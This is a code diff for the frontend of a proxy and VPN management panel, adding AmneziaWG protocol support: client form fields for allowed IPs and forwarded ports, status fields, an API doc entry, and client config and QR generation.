       const url = new URL(trimmed);

+ 4 - 3
frontend/src/lib/xray/protocol-capabilities.ts

@@ -75,10 +75,11 @@ export function canEnableStream(values: { protocol: string }): boolean {
   return STREAM_PROTOCOLS.includes(values.protocol);
   return STREAM_PROTOCOLS.includes(values.protocol);
 }
 }
 
 
-// mtproto is served by an external mtg process, not Xray, so the Xray sniffing
-// block does not apply to it. Every other inbound supports sniffing.
+// mtproto and amneziawg are served by an external process/interface, not
+// Xray, so the Xray sniffing block does not apply to either. Every other
+// inbound supports sniffing.
 export function canEnableSniffing(values: { protocol: string }): boolean {
 export function canEnableSniffing(values: { protocol: string }): boolean {
-  return values.protocol !== 'mtproto';
+  return values.protocol !== 'mtproto' && values.protocol !== 'amneziawg';
 }
 }
 
 
 // Vision seed applies only when XTLS Vision (TCP/TLS) flow is selected
 // Vision seed applies only when XTLS Vision (TCP/TLS) flow is selected

+ 4 - 0
frontend/src/models/dbinbound.ts

@@ -169,6 +169,10 @@ export class DBInbound {
     return this.protocol === Protocols.WIREGUARD;
     return this.protocol === Protocols.WIREGUARD;
   }
   }
 
 
+  get isAmneziawg() {
+    return this.protocol === Protocols.AMNEZIAWG;
+  }
+
   get isHysteria() {
   get isHysteria() {
     return this.protocol === Protocols.HYSTERIA;
     return this.protocol === Protocols.HYSTERIA;
   }
   }

+ 8 - 0
frontend/src/models/status.ts

@@ -61,6 +61,11 @@ export interface XrayInfo {
   color: string;
   color: string;
 }
 }
 
 
+export interface AmneziaWGInfo {
+  configured: boolean;
+  running: boolean;
+}
+
 interface StatusInput {
 interface StatusInput {
   cpu?: number;
   cpu?: number;
   cpuCores?: number;
   cpuCores?: number;
@@ -79,6 +84,7 @@ interface StatusInput {
   appUptime?: number;
   appUptime?: number;
   appStats?: AppStats;
   appStats?: AppStats;
   xray?: Partial<XrayInfo>;
   xray?: Partial<XrayInfo>;
+  amneziawg?: Partial<AmneziaWGInfo>;
 }
 }
 
 
 export class Status {
 export class Status {
@@ -99,6 +105,7 @@ export class Status {
   appUptime = 0;
   appUptime = 0;
   appStats: AppStats = { threads: 0, mem: 0, uptime: 0 };
   appStats: AppStats = { threads: 0, mem: 0, uptime: 0 };
   xray: XrayInfo = { state: 'stop', errorMsg: '', version: '', color: '' };
   xray: XrayInfo = { state: 'stop', errorMsg: '', version: '', color: '' };
+  amneziawg: AmneziaWGInfo = { configured: false, running: false };
 
 
   constructor(data?: StatusInput | null) {
   constructor(data?: StatusInput | null) {
     if (data == null) return;
     if (data == null) return;
@@ -121,5 +128,6 @@ export class Status {
     this.appStats = data.appStats ?? this.appStats;
     this.appStats = data.appStats ?? this.appStats;
     this.xray = { ...this.xray, ...(data.xray || {}) };
     this.xray = { ...this.xray, ...(data.xray || {}) };
     this.xray.color = XRAY_STATE_COLORS[this.xray.state] ?? 'gray';
     this.xray.color = XRAY_STATE_COLORS[this.xray.state] ?? 'gray';
+    this.amneziawg = { ...this.amneziawg, ...(data.amneziawg || {}) };
   }
   }
 }
 }

+ 22 - 0
frontend/src/pages/api-docs/endpoints.ts

@@ -608,6 +608,28 @@ export const sections: readonly Section[] = [
         response:
         response:
           '{\n  "success": true,\n  "obj": "2025/01/01 12:00:00 rejected  vless  proxy  example.com  reason: no valid user\\n2025/01/01 12:00:01 direct  freedom  ok"\n}',
           '{\n  "success": true,\n  "obj": "2025/01/01 12:00:00 rejected  vless  proxy  example.com  reason: no valid user\\n2025/01/01 12:00:01 direct  freedom  ok"\n}',
       },
       },
+      {
+        method: 'POST',
+        path: '/panel/api/server/amneziawglogs/:count',
+        summary:
+          'Return live AmneziaWG peer activity (handshake, endpoint, transfer) plus the panel’s own AmneziaWG event lines.',
+        params: [
+          {
+            name: 'count',
+            in: 'path',
+            type: 'number',
+            desc: 'Maximum peer rows and event lines to return.',
+          },
+          {
+            name: 'filter',
+            in: 'body (form)',
+            type: 'string',
+            desc: 'Keyword filter — only rows/lines containing this string.',
+          },
+        ],
+        body: 'filter=awg1',
+        responseSchema: 'AmneziaWGLogs',
+      },
       {
       {
         method: 'POST',
         method: 'POST',
         path: '/panel/api/server/importDB',
         path: '/panel/api/server/importDB',

+ 1 - 0
frontend/src/pages/clients/BulkAttachInboundsModal.tsx

@@ -15,6 +15,7 @@ const MULTI_USER_PROTOCOLS = new Set([
   'shadowsocks',
   'shadowsocks',
   'wireguard',
   'wireguard',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 
 
 interface BulkAttachInboundsModalProps {
 interface BulkAttachInboundsModalProps {

+ 1 - 0
frontend/src/pages/clients/BulkDetachInboundsModal.tsx

@@ -15,6 +15,7 @@ const MULTI_USER_PROTOCOLS = new Set([
   'shadowsocks',
   'shadowsocks',
   'wireguard',
   'wireguard',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 
 
 interface BulkDetachInboundsModalProps {
 interface BulkDetachInboundsModalProps {

+ 1 - 0
frontend/src/pages/clients/ClientBulkAddModal.tsx

@@ -36,6 +36,7 @@ const MULTI_CLIENT_PROTOCOLS = new Set([
   'trojan',
   'trojan',
   'hysteria',
   'hysteria',
   'wireguard',
   'wireguard',
+  'amneziawg',
 ]);
 ]);
 
 
 const EMPTY: ClientBulkAddFormValues = {
 const EMPTY: ClientBulkAddFormValues = {

+ 161 - 27
frontend/src/pages/clients/ClientFormModal.tsx

@@ -60,6 +60,7 @@ const MULTI_CLIENT_PROTOCOLS = new Set([
   'hysteria',
   'hysteria',
   'wireguard',
   'wireguard',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 
 
 const CLIENT_FORM_MODAL_Z_INDEX = 1000;
 const CLIENT_FORM_MODAL_Z_INDEX = 1000;
@@ -110,6 +111,7 @@ interface ClientFormModalProps {
   inbounds: InboundOption[];
   inbounds: InboundOption[];
   attachedExternalLinks?: ExternalLink[];
   attachedExternalLinks?: ExternalLink[];
   attachedIds?: number[];
   attachedIds?: number[];
+  tunnelAllowedIPs?: Record<number, string>;
   tgBotEnable?: boolean;
   tgBotEnable?: boolean;
   groups?: string[];
   groups?: string[];
   save: (
   save: (
@@ -128,6 +130,8 @@ type Values = ClientFormValues & {
   wgPublicKey: string;
   wgPublicKey: string;
   wgPreSharedKey: string;
   wgPreSharedKey: string;
   wgAllowedIPs: string;
   wgAllowedIPs: string;
+  awgAllowedIPs: string;
+  awgForwardedPorts: string;
   secret: string;
   secret: string;
   adTag: string;
   adTag: string;
 };
 };
@@ -162,6 +166,8 @@ const EMPTY: Values = {
   wgPublicKey: '',
   wgPublicKey: '',
   wgPreSharedKey: '',
   wgPreSharedKey: '',
   wgAllowedIPs: '',
   wgAllowedIPs: '',
+  awgAllowedIPs: '',
+  awgForwardedPorts: '',
   secret: '',
   secret: '',
   adTag: '',
   adTag: '',
 };
 };
@@ -189,6 +195,34 @@ export function gbToBytes(gb: number): number {
   return Math.round(gb * 1024 * 1024 * 1024);
   return Math.round(gb * 1024 * 1024 * 1024);
 }
 }
 
 
+export function parseAllowedIPsList(raw: string): string[] {
+  return raw
+    .split(',')
+    .map((s) => s.trim())
+    .filter((s) => s !== '');
+}
+
+// Maps each of the two AllowedIPs fields to the specific wg/awg inbound the
+// client is currently attached to, so a save with both protocols attached at
+// once can send each its own value instead of one shared field ambiguously
+// covering both (see model.Client.AllowedIPsByInbound on the Go side).
+// Absent from the result when the client isn't actually attached to that
+// protocol's inbound (e.g. mid-edit, before the attach takes effect).
+export function resolveTunnelAllowedIPsByInbound(
+  attachedInboundIds: number[],
+  wireguardInboundIds: Set<number>,
+  amneziawgInboundIds: Set<number>,
+  wgAllowedIPs: string[],
+  awgAllowedIPs: string[],
+): Record<number, string[]> {
+  const wgId = attachedInboundIds.find((id) => wireguardInboundIds.has(id));
+  const awgId = attachedInboundIds.find((id) => amneziawgInboundIds.has(id));
+  const result: Record<number, string[]> = {};
+  if (wgId != null) result[wgId] = wgAllowedIPs;
+  if (awgId != null) result[awgId] = awgAllowedIPs;
+  return result;
+}
+
 export function resolveTotalBytes(
 export function resolveTotalBytes(
   originalBytes: number | null | undefined,
   originalBytes: number | null | undefined,
   displayedGB: number,
   displayedGB: number,
@@ -206,6 +240,7 @@ export default function ClientFormModal({
   inbounds,
   inbounds,
   attachedExternalLinks = [],
   attachedExternalLinks = [],
   attachedIds = [],
   attachedIds = [],
+  tunnelAllowedIPs = {},
   tgBotEnable = false,
   tgBotEnable = false,
   groups = [],
   groups = [],
   save,
   save,
@@ -262,6 +297,27 @@ export default function ClientFormModal({
   const limitIpDisabled = !fail2ban.usable;
   const limitIpDisabled = !fail2ban.usable;
   const limitIpNotice = getLimitIpNotice(fail2ban, t);
   const limitIpNotice = getLimitIpNotice(fail2ban, t);
 
 
+  // Declared ahead of the seeding effect below (which needs them to resolve
+  // which specific wg/awg inbound this client is attached to, for seeding
+  // wgAllowedIPs/awgAllowedIPs from tunnelAllowedIPs) -- both are pure
+  // derivations of the stable `inbounds` prop, so moving them earlier is
+  // just a declaration-order change, not a behavior change.
+  const wireguardIds = useMemo(() => {
+    const ids = new Set<number>();
+    for (const row of inbounds || []) {
+      if (row && row.protocol === 'wireguard') ids.add(row.id);
+    }
+    return ids;
+  }, [inbounds]);
+
+  const amneziawgIds = useMemo(() => {
+    const ids = new Set<number>();
+    for (const row of inbounds || []) {
+      if (row && row.protocol === 'amneziawg') ids.add(row.id);
+    }
+    return ids;
+  }, [inbounds]);
+
   function addExternalLinkRow(kind: 'link' | 'subscription') {
   function addExternalLinkRow(kind: 'link' | 'subscription') {
     appendExternalLink({
     appendExternalLink({
       kind,
       kind,
@@ -282,6 +338,13 @@ export default function ClientFormModal({
 
 
     if (isEdit && client) {
     if (isEdit && client) {
       const et = Number(client.expiryTime) || 0;
       const et = Number(client.expiryTime) || 0;
+      const seedIds = Array.isArray(attachedIds) ? attachedIds : [];
+      const attachedWireguardId = seedIds.find((id) => wireguardIds.has(id));
+      const attachedAmneziawgId = seedIds.find((id) => amneziawgIds.has(id));
+      const wgTunnelIPs =
+        attachedWireguardId != null ? tunnelAllowedIPs[attachedWireguardId] : undefined;
+      const awgTunnelIPs =
+        attachedAmneziawgId != null ? tunnelAllowedIPs[attachedAmneziawgId] : undefined;
       const seed: Values = {
       const seed: Values = {
         ...EMPTY,
         ...EMPTY,
         email: client.email || '',
         email: client.email || '',
@@ -312,7 +375,9 @@ export default function ClientFormModal({
         wgPrivateKey: client.privateKey || '',
         wgPrivateKey: client.privateKey || '',
         wgPublicKey: client.publicKey || '',
         wgPublicKey: client.publicKey || '',
         wgPreSharedKey: client.preSharedKey || '',
         wgPreSharedKey: client.preSharedKey || '',
-        wgAllowedIPs: client.allowedIPs || '',
+        wgAllowedIPs: wgTunnelIPs ?? client.allowedIPs ?? '',
+        awgAllowedIPs: awgTunnelIPs ?? client.allowedIPs ?? '',
+        awgForwardedPorts: client.forwardedPorts || '',
         secret: client.secret || '',
         secret: client.secret || '',
         adTag: client.adTag || '',
         adTag: client.adTag || '',
       };
       };
@@ -369,14 +434,6 @@ export default function ClientFormModal({
     return ids;
     return ids;
   }, [inbounds]);
   }, [inbounds]);
 
 
-  const wireguardIds = useMemo(() => {
-    const ids = new Set<number>();
-    for (const row of inbounds || []) {
-      if (row && row.protocol === 'wireguard') ids.add(row.id);
-    }
-    return ids;
-  }, [inbounds]);
-
   const mtprotoIds = useMemo(() => {
   const mtprotoIds = useMemo(() => {
     const ids = new Set<number>();
     const ids = new Set<number>();
     for (const row of inbounds || []) {
     for (const row of inbounds || []) {
@@ -431,6 +488,11 @@ export default function ClientFormModal({
     [inboundIds, wireguardIds],
     [inboundIds, wireguardIds],
   );
   );
 
 
+  const showAmneziawg = useMemo(
+    () => (inboundIds || []).some((id) => amneziawgIds.has(id)),
+    [inboundIds, amneziawgIds],
+  );
+
   const showMtproto = useMemo(
   const showMtproto = useMemo(
     () => (inboundIds || []).some((id) => mtprotoIds.has(id)),
     () => (inboundIds || []).some((id) => mtprotoIds.has(id)),
     [inboundIds, mtprotoIds],
     [inboundIds, mtprotoIds],
@@ -625,18 +687,40 @@ export default function ClientFormModal({
       clientPayload.reverse = { tag: reverseTagValue };
       clientPayload.reverse = { tag: reverseTagValue };
     }
     }
 
 
-    if (showWireguard) {
+    if (showWireguard || showAmneziawg) {
+      // AmneziaWG peers are wire-identical to WireGuard peers (same
+      // privateKey/publicKey/preSharedKey/allowedIPs fields on model.Client),
+      // so both protocols share this one field set — see wgPrivateKey etc.
+      // below and the AmneziaWG-labeled variants of the same inputs.
       clientPayload.privateKey = values.wgPrivateKey;
       clientPayload.privateKey = values.wgPrivateKey;
       clientPayload.publicKey = values.wgPublicKey;
       clientPayload.publicKey = values.wgPublicKey;
       if (values.wgPreSharedKey) {
       if (values.wgPreSharedKey) {
         clientPayload.preSharedKey = values.wgPreSharedKey;
         clientPayload.preSharedKey = values.wgPreSharedKey;
       }
       }
-      const allowedIPs = values.wgAllowedIPs
-        .split(',')
-        .map((s) => s.trim())
-        .filter((s) => s !== '');
-      if (allowedIPs.length > 0) {
-        clientPayload.allowedIPs = allowedIPs;
+      const wgAllowedIPs = parseAllowedIPsList(values.wgAllowedIPs);
+      if (showWireguard && showAmneziawg) {
+        // Both protocols are attached at once: the two fields hold genuinely
+        // different addresses, so each must land on its own inbound instead
+        // of one broadcast value overwriting the other's (allowedIPsByInbound
+        // is what Update/Create key their per-inbound override off of).
+        const awgAllowedIPs = parseAllowedIPsList(values.awgAllowedIPs);
+        clientPayload.allowedIPsByInbound = resolveTunnelAllowedIPsByInbound(
+          values.inboundIds || [],
+          wireguardIds,
+          amneziawgIds,
+          wgAllowedIPs,
+          awgAllowedIPs,
+        );
+        if (wgAllowedIPs.length > 0) {
+          clientPayload.allowedIPs = wgAllowedIPs;
+        }
+      } else if (wgAllowedIPs.length > 0) {
+        clientPayload.allowedIPs = wgAllowedIPs;
+      }
+      // Port-forwarding has no WireGuard equivalent — Xray-native WireGuard
+      // has no host-level iptables layer to hang per-client DNAT off of.
+      if (showAmneziawg) {
+        clientPayload.forwardedPorts = values.awgForwardedPorts.trim();
       }
       }
     }
     }
 
 
@@ -1104,9 +1188,15 @@ export default function ClientFormModal({
                           />
                           />
                         </FormField>
                         </FormField>
                       )}
                       )}
-                      {showWireguard && (
+                      {(showWireguard || showAmneziawg) && (
                         <>
                         <>
-                          <Form.Item label={t('pages.clients.wireguardPrivateKey')}>
+                          <Form.Item
+                            label={t(
+                              showAmneziawg
+                                ? 'pages.clients.amneziaWgPrivateKey'
+                                : 'pages.clients.wireguardPrivateKey',
+                            )}
+                          >
                             <Space.Compact style={{ display: 'flex' }}>
                             <Space.Compact style={{ display: 'flex' }}>
                               <Input
                               <Input
                                 value={wgPrivateKey}
                                 value={wgPrivateKey}
@@ -1129,23 +1219,67 @@ export default function ClientFormModal({
                           </Form.Item>
                           </Form.Item>
                           <FormField
                           <FormField
                             name="wgPublicKey"
                             name="wgPublicKey"
-                            label={t('pages.clients.wireguardPublicKey')}
+                            label={t(
+                              showAmneziawg
+                                ? 'pages.clients.amneziaWgPublicKey'
+                                : 'pages.clients.wireguardPublicKey',
+                            )}
                           >
                           >
                             <Input disabled />
                             <Input disabled />
                           </FormField>
                           </FormField>
                           <FormField
                           <FormField
                             name="wgPreSharedKey"
                             name="wgPreSharedKey"
-                            label={t('pages.clients.wireguardPreSharedKey')}
+                            label={t(
+                              showAmneziawg
+                                ? 'pages.clients.amneziaWgPreSharedKey'
+                                : 'pages.clients.wireguardPreSharedKey',
+                            )}
                           >
                           >
                             <Input />
                             <Input />
                           </FormField>
                           </FormField>
-                          <FormField
-                            name="wgAllowedIPs"
-                            label={t('pages.clients.wireguardAllowedIPs')}
-                            extra={t('pages.clients.wireguardAllowedIPsHint')}
-                          >
-                            <Input placeholder="10.0.0.2/32" />
-                          </FormField>
+                          {showWireguard && showAmneziawg ? (
+                            <>
+                              <FormField
+                                name="wgAllowedIPs"
+                                label={t('pages.clients.wireguardAllowedIPs')}
+                                extra={t('pages.clients.wireguardAllowedIPsHint')}
+                              >
+                                <Input placeholder="10.0.0.2/32" />
+                              </FormField>
+                              <FormField
+                                name="awgAllowedIPs"
+                                label={t('pages.clients.amneziaWgAllowedIPs')}
+                                extra={t('pages.clients.amneziaWgAllowedIPsHint')}
+                              >
+                                <Input placeholder="10.8.1.2/32" />
+                              </FormField>
+                            </>
+                          ) : (
+                            <FormField
+                              name="wgAllowedIPs"
+                              label={t(
+                                showAmneziawg
+                                  ? 'pages.clients.amneziaWgAllowedIPs'
+                                  : 'pages.clients.wireguardAllowedIPs',
+                              )}
+                              extra={t(
+                                showAmneziawg
+                                  ? 'pages.clients.amneziaWgAllowedIPsHint'
+                                  : 'pages.clients.wireguardAllowedIPsHint',
+                              )}
+                            >
+                              <Input placeholder="10.8.1.2/32" />
+                            </FormField>
+                          )}
+                          {showAmneziawg && (
+                            <FormField
+                              name="awgForwardedPorts"
+                              label={t('pages.clients.amneziaWgForwardedPorts')}
+                              extra={t('pages.clients.amneziaWgForwardedPortsHint')}
+                            >
+                              <Input placeholder="80, 443, 8000-8100" />
+                            </FormField>
+                          )}
                         </>
                         </>
                       )}
                       )}
                       {showMtproto && (
                       {showMtproto && (

+ 36 - 0
frontend/src/pages/clients/ClientInfoModal.tsx

@@ -25,6 +25,11 @@ import {
   findWireguardInbound,
   findWireguardInbound,
   isWireguardClient,
   isWireguardClient,
 } from './wireguardConfig';
 } from './wireguardConfig';
+import {
+  buildAmneziaWGClientConfig,
+  findAmneziaWGInbound,
+  isAmneziaWGClient,
+} from './amneziawgConfig';
 import './ClientInfoModal.css';
 import './ClientInfoModal.css';
 
 
 const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
 const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
@@ -35,6 +40,7 @@ const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
   hysteria: 'cyan',
   hysteria: 'cyan',
   hysteria2: 'green',
   hysteria2: 'green',
   wireguard: 'gold',
   wireguard: 'gold',
+  amneziawg: 'yellow',
   http: 'purple',
   http: 'purple',
   mixed: 'lime',
   mixed: 'lime',
   tunnel: 'orange',
   tunnel: 'orange',
@@ -56,6 +62,7 @@ interface ClientInfoModalProps {
   open: boolean;
   open: boolean;
   client: ClientRecord | null;
   client: ClientRecord | null;
   inboundsById: Record<number, InboundOption>;
   inboundsById: Record<number, InboundOption>;
+  tunnelAllowedIPs?: Record<number, string>;
   isOnline: boolean;
   isOnline: boolean;
   subSettings?: SubSettings;
   subSettings?: SubSettings;
   onOpenChange: (open: boolean) => void;
   onOpenChange: (open: boolean) => void;
@@ -86,6 +93,7 @@ export default function ClientInfoModal({
   open,
   open,
   client,
   client,
   inboundsById,
   inboundsById,
+  tunnelAllowedIPs,
   isOnline,
   isOnline,
   subSettings = DEFAULT_SUB,
   subSettings = DEFAULT_SUB,
   onOpenChange,
   onOpenChange,
@@ -186,6 +194,22 @@ export default function ClientInfoModal({
     );
     );
   }, [client, wgInbound, subSettings?.publicHost]);
   }, [client, wgInbound, subSettings?.publicHost]);
 
 
+  const awgInbound = useMemo(
+    () => findAmneziaWGInbound(client, inboundsById),
+    [client, inboundsById],
+  );
+  const awgConfigText = useMemo(() => {
+    if (!client || !awgInbound || !isAmneziaWGClient(client)) return '';
+    const address = awgInbound ? (tunnelAllowedIPs?.[awgInbound.id] ?? '') : '';
+    return buildAmneziaWGClientConfig(
+      client,
+      awgInbound,
+      window.location.hostname,
+      subSettings?.publicHost ?? '',
+      address,
+    );
+  }, [client, awgInbound, tunnelAllowedIPs, subSettings?.publicHost]);
+
   async function copyValue(text: string) {
   async function copyValue(text: string) {
     if (!text) return;
     if (!text) return;
     const ok = await ClipboardManager.copyText(String(text));
     const ok = await ClipboardManager.copyText(String(text));
@@ -766,6 +790,18 @@ export default function ClientInfoModal({
                 />
                 />
               </>
               </>
             )}
             )}
+
+            {awgConfigText && client && (
+              <>
+                <Divider>{t('pages.clients.amneziaWgConfig')}</Divider>
+                <ConfigBlock
+                  label={t('pages.clients.config')}
+                  text={awgConfigText}
+                  fileName={`${client.email}.conf`}
+                  qrRemark={client.email || 'peer'}
+                />
+              </>
+            )}
           </>
           </>
         )}
         )}
       </Modal>
       </Modal>

+ 43 - 2
frontend/src/pages/clients/ClientQrModal.tsx

@@ -11,6 +11,11 @@ import {
   findWireguardInbound,
   findWireguardInbound,
   isWireguardClient,
   isWireguardClient,
 } from './wireguardConfig';
 } from './wireguardConfig';
+import {
+  buildAmneziaWGClientConfig,
+  findAmneziaWGInbound,
+  isAmneziaWGClient,
+} from './amneziawgConfig';
 
 
 interface SubSettings {
 interface SubSettings {
   enable: boolean;
   enable: boolean;
@@ -24,6 +29,7 @@ interface ClientQrModalProps {
   open: boolean;
   open: boolean;
   client: ClientRecord | null;
   client: ClientRecord | null;
   inboundsById: Record<number, InboundOption>;
   inboundsById: Record<number, InboundOption>;
+  tunnelAllowedIPs?: Record<number, string>;
   subSettings?: SubSettings;
   subSettings?: SubSettings;
   onOpenChange: (open: boolean) => void;
   onOpenChange: (open: boolean) => void;
 }
 }
@@ -45,6 +51,7 @@ export default function ClientQrModal({
   open,
   open,
   client,
   client,
   inboundsById,
   inboundsById,
+  tunnelAllowedIPs,
   subSettings = DEFAULT_SUB,
   subSettings = DEFAULT_SUB,
   onOpenChange,
   onOpenChange,
 }: ClientQrModalProps) {
 }: ClientQrModalProps) {
@@ -74,7 +81,24 @@ export default function ClientQrModal({
     );
     );
   }, [client, wgInbound, subSettings?.publicHost]);
   }, [client, wgInbound, subSettings?.publicHost]);
 
 
-  const hasAnything = !!subLink || !!subJsonLink || !!wgConfigText || links.length > 0;
+  const awgInbound = useMemo(
+    () => findAmneziaWGInbound(client, inboundsById),
+    [client, inboundsById],
+  );
+  const awgConfigText = useMemo(() => {
+    if (!client || !awgInbound || !isAmneziaWGClient(client)) return '';
+    const address = awgInbound ? (tunnelAllowedIPs?.[awgInbound.id] ?? '') : '';
+    return buildAmneziaWGClientConfig(
+      client,
+      awgInbound,
+      window.location.hostname,
+      subSettings?.publicHost ?? '',
+      address,
+    );
+  }, [client, awgInbound, tunnelAllowedIPs, subSettings?.publicHost]);
+
+  const hasAnything =
+    !!subLink || !!subJsonLink || !!wgConfigText || !!awgConfigText || links.length > 0;
 
 
   // The reset runs during render so the effect only carries the request.
   // The reset runs during render so the effect only carries the request.
   const openSubId = open ? (client?.subId ?? '') : '';
   const openSubId = open ? (client?.subId ?? '') : '';
@@ -165,8 +189,25 @@ export default function ClientQrModal({
         ),
         ),
       });
       });
     }
     }
+    if (awgConfigText) {
+      out.push({
+        key: 'awg-config',
+        label: (
+          <Tag color="purple" style={{ margin: 0 }}>
+            {t('pages.clients.amneziaWgConfig')}
+          </Tag>
+        ),
+        children: (
+          <QrPanel
+            value={awgConfigText}
+            remark={client?.email || 'peer'}
+            downloadName={`${client?.email || 'peer'}.conf`}
+          />
+        ),
+      });
+    }
     return out;
     return out;
-  }, [subLink, subJsonLink, wgConfigText, links, client?.email, t]);
+  }, [subLink, subJsonLink, wgConfigText, awgConfigText, links, client?.email, t]);
 
 
   // Expanding the first panel is a render-time adjustment, not a side effect.
   // Expanding the first panel is a render-time adjustment, not a side effect.
   const firstKey = open && items.length > 0 ? items[0].key : null;
   const firstKey = open && items.length > 0 ? items[0].key : null;

+ 14 - 0
frontend/src/pages/clients/ClientsPage.tsx

@@ -171,6 +171,7 @@ const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
   hysteria: 'cyan',
   hysteria: 'cyan',
   hysteria2: 'green',
   hysteria2: 'green',
   wireguard: 'gold',
   wireguard: 'gold',
+  amneziawg: 'yellow',
   http: 'purple',
   http: 'purple',
   mixed: 'lime',
   mixed: 'lime',
   tunnel: 'orange',
   tunnel: 'orange',
@@ -349,10 +350,16 @@ export default function ClientsPage() {
   const [editingClient, setEditingClient] = useState<ClientRecord | null>(null);
   const [editingClient, setEditingClient] = useState<ClientRecord | null>(null);
   const [editingAttachedIds, setEditingAttachedIds] = useState<number[]>([]);
   const [editingAttachedIds, setEditingAttachedIds] = useState<number[]>([]);
   const [editingExternalLinks, setEditingExternalLinks] = useState<ExternalLink[]>([]);
   const [editingExternalLinks, setEditingExternalLinks] = useState<ExternalLink[]>([]);
+  const [editingTunnelAllowedIPs, setEditingTunnelAllowedIPs] = useState<Record<number, string>>(
+    {},
+  );
   const [infoOpen, setInfoOpen] = useState(false);
   const [infoOpen, setInfoOpen] = useState(false);
   const [infoClient, setInfoClient] = useState<ClientRecord | null>(null);
   const [infoClient, setInfoClient] = useState<ClientRecord | null>(null);
   const [qrOpen, setQrOpen] = useState(false);
   const [qrOpen, setQrOpen] = useState(false);
   const [qrClient, setQrClient] = useState<ClientRecord | null>(null);
   const [qrClient, setQrClient] = useState<ClientRecord | null>(null);
+  const [viewingTunnelAllowedIPs, setViewingTunnelAllowedIPs] = useState<Record<number, string>>(
+    {},
+  );
   const [bulkAddOpen, setBulkAddOpen] = useState(false);
   const [bulkAddOpen, setBulkAddOpen] = useState(false);
   const [bulkAdjustOpen, setBulkAdjustOpen] = useState(false);
   const [bulkAdjustOpen, setBulkAdjustOpen] = useState(false);
   const [subLinksOpen, setSubLinksOpen] = useState(false);
   const [subLinksOpen, setSubLinksOpen] = useState(false);
@@ -619,6 +626,7 @@ export default function ClientsPage() {
     setEditingClient(null);
     setEditingClient(null);
     setEditingAttachedIds([]);
     setEditingAttachedIds([]);
     setEditingExternalLinks([]);
     setEditingExternalLinks([]);
+    setEditingTunnelAllowedIPs({});
     setFormOpen(true);
     setFormOpen(true);
   }
   }
 
 
@@ -635,6 +643,7 @@ export default function ClientsPage() {
       const ids = full?.inboundIds ?? (Array.isArray(row.inboundIds) ? row.inboundIds : []);
       const ids = full?.inboundIds ?? (Array.isArray(row.inboundIds) ? row.inboundIds : []);
       setEditingAttachedIds([...ids]);
       setEditingAttachedIds([...ids]);
       setEditingExternalLinks(Array.isArray(full?.externalLinks) ? [...full.externalLinks] : []);
       setEditingExternalLinks(Array.isArray(full?.externalLinks) ? [...full.externalLinks] : []);
+      setEditingTunnelAllowedIPs(full?.tunnelAllowedIPs ?? {});
       setFormOpen(true);
       setFormOpen(true);
     },
     },
     [hydrate],
     [hydrate],
@@ -686,6 +695,7 @@ export default function ClientsPage() {
       if (!row) return;
       if (!row) return;
       const full = await hydrate(row.email);
       const full = await hydrate(row.email);
       setInfoClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
       setInfoClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
+      setViewingTunnelAllowedIPs(full?.tunnelAllowedIPs ?? {});
       setInfoOpen(true);
       setInfoOpen(true);
     },
     },
     [hydrate],
     [hydrate],
@@ -697,6 +707,7 @@ export default function ClientsPage() {
       if (!row) return;
       if (!row) return;
       const full = await hydrate(row.email);
       const full = await hydrate(row.email);
       setQrClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
       setQrClient(full ? { ...row, ...full.client, inboundIds: full.inboundIds } : row);
+      setViewingTunnelAllowedIPs(full?.tunnelAllowedIPs ?? {});
       setQrOpen(true);
       setQrOpen(true);
     },
     },
     [hydrate],
     [hydrate],
@@ -1838,6 +1849,7 @@ export default function ClientsPage() {
             client={editingClient}
             client={editingClient}
             attachedIds={editingAttachedIds}
             attachedIds={editingAttachedIds}
             attachedExternalLinks={editingExternalLinks}
             attachedExternalLinks={editingExternalLinks}
+            tunnelAllowedIPs={editingTunnelAllowedIPs}
             inbounds={inbounds}
             inbounds={inbounds}
             tgBotEnable={tgBotEnable}
             tgBotEnable={tgBotEnable}
             groups={allGroups}
             groups={allGroups}
@@ -1851,6 +1863,7 @@ export default function ClientsPage() {
             open={infoOpen}
             open={infoOpen}
             client={infoClient}
             client={infoClient}
             inboundsById={inboundsById}
             inboundsById={inboundsById}
+            tunnelAllowedIPs={viewingTunnelAllowedIPs}
             isOnline={infoClient ? isOnline(infoClient.email) : false}
             isOnline={infoClient ? isOnline(infoClient.email) : false}
             subSettings={subSettings}
             subSettings={subSettings}
             onOpenChange={setInfoOpen}
             onOpenChange={setInfoOpen}
@@ -1861,6 +1874,7 @@ export default function ClientsPage() {
             open={qrOpen}
             open={qrOpen}
             client={qrClient}
             client={qrClient}
             inboundsById={inboundsById}
             inboundsById={inboundsById}
+            tunnelAllowedIPs={viewingTunnelAllowedIPs}
             subSettings={subSettings}
             subSettings={subSettings}
             onOpenChange={setQrOpen}
             onOpenChange={setQrOpen}
           />
           />

+ 110 - 0
frontend/src/pages/clients/amneziawgConfig.ts

@@ -0,0 +1,110 @@
+import { formatInboundLabel } from '@/lib/inbounds/label';
+import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// AmneziaWG clients are wire-identical to WireGuard clients (same
+// privateKey/publicKey/allowedIPs/preSharedKey/keepAlive fields on
+// model.Client — see wireguardConfig.ts's isWireguardClient), so this duck
+// type can't tell the two protocols apart on its own; findAmneziaWGInbound's
+// protocol==='amneziawg' filter below is what actually disambiguates.
+export function isAmneziaWGClient(client: ClientRecord | null | undefined): boolean {
+  if (!client) return false;
+  return !!(
+    client.privateKey ||
+    client.publicKey ||
+    client.allowedIPs ||
+    client.preSharedKey ||
+    client.keepAlive
+  );
+}
+
+export function findAmneziaWGInbound(
+  client: ClientRecord | null | undefined,
+  inboundsById: Record<number, InboundOption>,
+): InboundOption | undefined {
+  return (client?.inboundIds || [])
+    .map((id) => inboundsById[id])
+    .find((ib) => ib?.protocol === 'amneziawg');
+}
+
+// h4Line renders one H magic-header line, matching the Go backend's
+// hOrDefault fallback (blank -> the classic 1/2/3/4 WireGuard message type).
